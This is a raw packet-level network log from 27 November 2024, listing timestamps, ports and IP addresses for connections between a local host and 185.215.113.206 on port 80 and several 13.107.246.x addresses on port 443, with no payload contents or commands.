Nov 27, 2024 11:14:46.955816984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.955849886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.955902100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.956651926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.956773996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.956909895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.957010984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.957509041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.957585096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.957704067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.957901955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.958363056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.958456993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.958885908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.959252119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.959333897 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.959476948 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.959526062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.960107088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.960203886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.960470915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.960516930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.960994959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.961008072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.961153030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.961884975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.961898088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.962033033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.002492905 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.002799034 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.002809048 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.003144026 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.006850958 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.006907940 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.007019997 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.013710976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.013938904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.014086008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.014163971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.014177084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.014383078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.014806986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.014918089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.015024900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.015686989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.015845060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.016590118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.016602039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.016623974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.016663074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.016689062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.017424107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.017704010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.017827988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.018287897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.018385887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.018418074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.018466949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.019161940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.019429922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.019519091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.019638062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.020016909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.020087957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.020931005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.020945072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.020967960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.021055937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.021055937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.021771908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.022142887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.022226095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.022682905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.022708893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.023339987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.023514986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.023626089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.023684978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.023729086 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.024388075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.024400949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.024470091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.024470091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.025312901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.025326967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.025373936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.025373936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.026158094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.026293993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.026396036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.026984930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.027045965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.027540922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.027595043 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.027971983 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.028033018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.028146982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.028239965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.028743029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.029608965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.029623032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.029666901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.029690981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.029747009 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.030446053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.030493975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.030623913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.030705929 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.031316996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.031378984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.032228947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.032327890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.047334909 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.062218904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.062433004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.062474966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.062504053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.062654018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.062666893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.062711954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.062771082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.063220978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.063329935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.063405037 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.064096928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.064323902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.064327002 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.064364910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.064939976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.065128088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.065190077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.065392017 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.065463066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.065713882 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.065735102 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.065778017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.065876007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.066093922 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.066435099 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.066530943 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.066656113 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.107345104 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.117815971 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.139307976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.139425039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.139543056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.139588118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.139729023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.139743090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.139802933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.140574932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.140611887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.140661001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.140661001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.141468048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.141716003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.141741037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.141829967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.141829967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.142560959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.142930031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.143069029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.143436909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.143506050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.143522978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.143611908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.144335032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.144480944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.144608974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.144670010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.145147085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.145205021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.145275116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.145505905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.146033049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.146074057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.146099091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.146157980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.146965027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.147058010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.147474051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.147542953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.147754908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.147834063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.147867918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.147947073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.148650885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.148802996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.149090052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.149142027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.149507046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.150330067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.150413036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.150439024 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.150450945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.150523901 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.151292086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.151365995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.152128935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.152146101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.152167082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.152200937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.152232885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.153004885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.153177023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.153260946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.153860092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.153961897 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.154304981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.154392004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.154778957 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.154791117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.154881954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.155586004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.155685902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.156080008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.156177998 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.156477928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.156491995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.156550884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.157318115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.158004045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.158082008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.158211946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.158225060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.158263922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.158304930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.159032106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.159904957 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.159998894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.160047054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.160060883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.160093069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.160134077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.160777092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.160842896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.161510944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.161634922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.161655903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.161667109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.161703110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.162497997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.162764072 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.162933111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.163146019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.163414955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.163429976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.163470984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.163496971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.164253950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.164350033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.165297031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.165400028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.175951958 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.176027060 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.176235914 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.176429033 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.176450014 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.176484108 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.176490068 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.181260109 CET	49900	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.181310892 CET	443	49900	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.181562901 CET	49900	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.181809902 CET	49900	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:47.181823969 CET	443	49900	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:47.215282917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.215363979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.215554953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.215611935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.215692997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.215825081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.215862989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.216553926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.216622114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.217226982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.217324972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.217405081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.217466116 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.218306065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.218318939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.218332052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.218386889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.218386889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.219139099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.220045090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.220120907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.220123053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.220134020 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.220181942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.220896959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.221057892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.221801996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.221816063 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.221852064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.221870899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.221870899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.221889973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.222625971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.222839117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.222910881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.223543882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.223695993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.223850965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.223927021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.224366903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.224468946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.224895954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.225259066 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.225344896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.225718975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.226047993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.226090908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.226214886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.226270914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.226972103 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.227052927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.227195024 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.227828026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.228055000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.228104115 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.228105068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.228851080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.229099989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.229163885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.229589939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.229666948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.229751110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.230070114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.230407000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.230463028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.230933905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.231322050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.231405020 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:47.231412888 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.231468916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:47.258682966 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.258728027 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.259083986 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:47.259110928 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:47.259231091 CET	49892	443	192.168.2.6	13.107.246.40
